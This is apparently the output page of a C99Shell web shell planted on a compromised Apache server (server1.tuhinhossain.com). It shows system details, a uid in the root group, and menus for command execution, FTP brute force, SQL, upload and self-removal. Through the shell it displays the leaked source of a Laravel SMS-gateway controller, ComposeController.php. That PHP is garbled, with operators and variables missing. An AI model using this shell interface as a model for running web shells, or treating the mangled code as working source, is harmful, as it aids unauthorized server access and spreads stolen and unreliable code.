!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ComposeController.php (9.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\SmsQueue;
use 
App\Models\MessageLog;
use 
App\Models\Number;
use 
App\Models\AuthorizationToken;
use 
App\Models\SenderId;
use 
App\Models\Customer;
use 
App\Models\User;
use 
App\Models\Subscribe;
use 
App\Models\WhatsAppNumber;
use 
App\SmsProvider\SendSMS;
use 
App\WhatsAppProvider\SendMessageProcess;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;

class 
ComposeController extends Controller
{
    public function 
getSenderIds()
    {
        
$user auth()->user();
        
$senderIds SenderId::where('customer_id'$user->id)->get();
        return 
response()->json(['status' => 'success''data' => $senderIds]);
    }

    public function 
get_subscriber(Request $request){
        
$user auth()->user();
        
$device $user->activeDevices($request->device_id)->first();
        if (!
$device) {
            return 
response()->json(['message' => 'Device has been removed or inactive'],400);
        }

        
$ids=[];

        if (
$device->sim_info) {
            
$sim_info json_decode($device->sim_info);
            foreach (
$sim_info as $info) {
                
$info explode(':'$info);
                if (isset(
$info[1])) {
                    
$ids[] = $info[1];
                }
            }
        }
        return 
response()->json(['status'=>'success','data'=>$ids]);
    }

    public function 
sentCompose(Request $request)
    {
        
$request->validate([
            
'device_id' => 'required',
            
'subscriber_id' => 'required',
            
'to_numbers' => 'required',
            
'body' => 'required',
        ]);

        
$user auth()->user();
        
$device $user->activeDevices($request->device_id)->first();
        if (!
$device) {
            return 
response()->json(['message' => 'Device has been removed or inactive'],400);
        }

        
$toNumbers explode(','$request->to_numbers);
        
$sent auth()->user()->message_logs()->where('type','sent')->whereDate('created_at'Carbon::today())->count();
        
$plan $user->currentPlan();
        if (!isset(
$plan->plan_id)) {
            return 
response()->json(['message' => 'Your don\'t have any active plan']);
        }

        if ((
$sent count($toNumbers)) > $plan->daily_send_limit) {
            return 
response()->josn(['message' => 'Your have extended your daily send limit']);
        }
        
$messageFiles = [];
        if (
$request->mms_files) {
            foreach (
$request->mms_files as $key => $file) {
                
$messageFiles[] = $fileName time() . $key '.' $file->extension();
                
$file->move(public_path('uploads/'), $fileName);
            }
            
$request['message_files'] = json_encode($messageFiles);
        }

        if (isset(
$request->isSchedule)) {
            
$sd Carbon::createFromTimeString($request->schedule);
            
$request['schedule_datetime'] = $sd;
        } else {
            
$request['schedule_datetime'] = now();
        }
        
$allToNumbers = [];
        
$allGroupIds = [];
        
$allContactIds = [];

        foreach(
$toNumbers as $to_number){
            
$allToNumbers[]=$to_number;
        }

        
$allToNumbers array_unique($allToNumbers);

        
$request['to_numbers'] = $allToNumbers;
        
$request['numbers'] = json_encode(['from' => $device->id'to' => $allToNumbers,'subscriber_id'=>$request->subscriber_id]);
        
$request['type'] = 'sent';

        
$current_plan $plan;

        
//subtracting one sms TODO:: will need to count text and sub that also calculate today send
        
$pre_available_sms $current_plan->daily_send_limit;
        
$new_available_sms $pre_available_sms count($allToNumbers);

        
//if not enough sms then return
        
if ($new_available_sms 0)
            return 
response()->json(['message' => 'Doesn\'t have enough sms. Please upgrade your plan'],400);
        
$selectedSimData='';
        if(
$device->sim_info){
            
$simInfo=json_decode($device->sim_info);
            foreach (
$simInfo as $item){
                
$simData=explode(':',$item);
                if(isset(
$simData[1]) && $simData[1]==$request->subscriber_id){
                    
$selectedSimData=$item;
                    break;
                }
            }
        }
        if(!
$selectedSimData) return response()->json(['message'=>'Invalid SIM info. Please logout from mobile App and scan the QR Code again'],400);

        
DB::beginTransaction();
        try {
            
$newMessage auth()->user()->messages()->create($request->all());

            
$sms_queue = [];
            foreach (
$request->to_numbers as $to) {
                
$newMessageFiles null;
                if (
$messageFiles) {
                    
$newMessageFiles $messageFiles;

                    
array_walk($newMessageFiles, function (&$value$index) {
                        
$value asset('uploads/' $value);
                    });
                }
                
$sms_queue[] = [
                    
'message_id' => $newMessage->id,
                    
'subscriber_id' => $request->subscriber_id,
                    
'sim_info' => $selectedSimData,
                    
'from' => $device->id,
                    
'device_unique_id' => $device->device_unique_id,
                    
'to' => $to,
                    
'schedule_datetime' => $request->schedule_datetime,
                    
'body' => $request->body,
                    
'created_at' => now(),
                    
'updated_at' => now(),
                    
'type' => 'sent',
                ];

            }

            
auth()->user()->sms_queues()->createMany($sms_queue);
            
auth()->user()->message_logs()->createMany($sms_queue);

            
DB::commit();
            return 
response()->json(['message' => 'Message queued successfully']);

        } catch (
\Exception $ex) {
            
Log::error($ex);
            
DB::rollBack();
            return 
response()->json(['message' => $ex->getMessage()],400);
        }
    }
    public function 
sentsms(Request $request)
    {
        
$preToken AuthorizationToken::where('access_token'$request->token)->first();
        if(!
$preToken){
            return 
response()->json(['message' => 'Unauthorised'],400);
        }

        
$customer Customer::where('id',$preToken->customer_id)->first();
        if(!
$customer){
            return 
response()->json(['message' => 'Unauthorised'],400);
        }
        
$toNumbers explode(','$request->to);

        
$plan $customer->currentPlan();
        if (!isset(
$plan->plan_id)) {
            return 
response()->json(['message' => 'Your don\'t have any active plan']);
        }
        
$device $customer->activeDevices()->where('device_unique_id',$request->from)->first();
        if (!
$device) {
            return 
response()->json(['message' => 'Device has been removed or inactive'],400);
        }
        foreach(
$toNumbers as $to_number){
            
$allToNumbers[]=$to_number;
        }

        
$allToNumbers array_unique($allToNumbers);

        
$current_plan $plan;

        
$pre_available_sms $current_plan->daily_send_limit;
        
$new_available_sms $pre_available_sms count($allToNumbers);
        if (
$new_available_sms 0)
            return 
response()->json(['message' => 'Doesn\'t have enough sms. Please upgrade your plan'],400);
        
$selectedSimData='';
        
$subscriber_id '';
        if(
$device->sim_info){
            
$simInfo json_decode($device->sim_info);
            foreach(
$simInfo as $sim){
                
$simData explode(':',$sim);
                if(isset(
$simData[1]) && isset($simData[2])){
                    
$selectedSimData=$simData[2];
                    
$subscriber_id $simData[1];
                    break;
                }
            }
        }
        if(!
$selectedSimData) return response()->json(['message'=>'Invalid SIM info. Please logout from mobile App and scan the QR Code again'],400);

        
DB::beginTransaction();
        try {

        
$newMessage $customer->messages()->create($request->all());
        
$sms_queue = [];
        foreach (
$allToNumbers as $to) {
            
$sms_queue[] = [
                
'message_id' => $newMessage->id,
                
'device_unique_id' => $request->from,
                
'sim_info' => $selectedSimData,
                
'subscriber_id' => $subscriber_id,
                
'to' => $to,
                
'body' => $request->body,
                
'created_at' => now(),
                
'updated_at' => now(),
                
'type' => 'sent',
            ];
        }
        
$customer->sms_queues()->createMany($sms_queue);
        
$customer->message_logs()->createMany($sms_queue);

            
DB::commit();
            return 
response()->json(['message' => 'Message queued successfully']);
        } catch (
\Exception $ex) {
            
Log::error($ex);
            
DB::rollBack();
            return 
response()->json(['message' => $ex->getMessage()],400);
        }
    }

    public function 
changeStatus(Request $request){
        
$messageIds=$request->data;

        
$wa_ids=[];
        foreach(
$messageIds as $key=>$status){
            
$wa_ids[]=$key;
        }

        
SmsQueue::whereIn('response_id',$wa_ids)->update(['status'=>'delivered','delivered_at'=>now()]);
        
MessageLog::whereIn('response_id',$wa_ids)->update(['status'=>'succeed']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--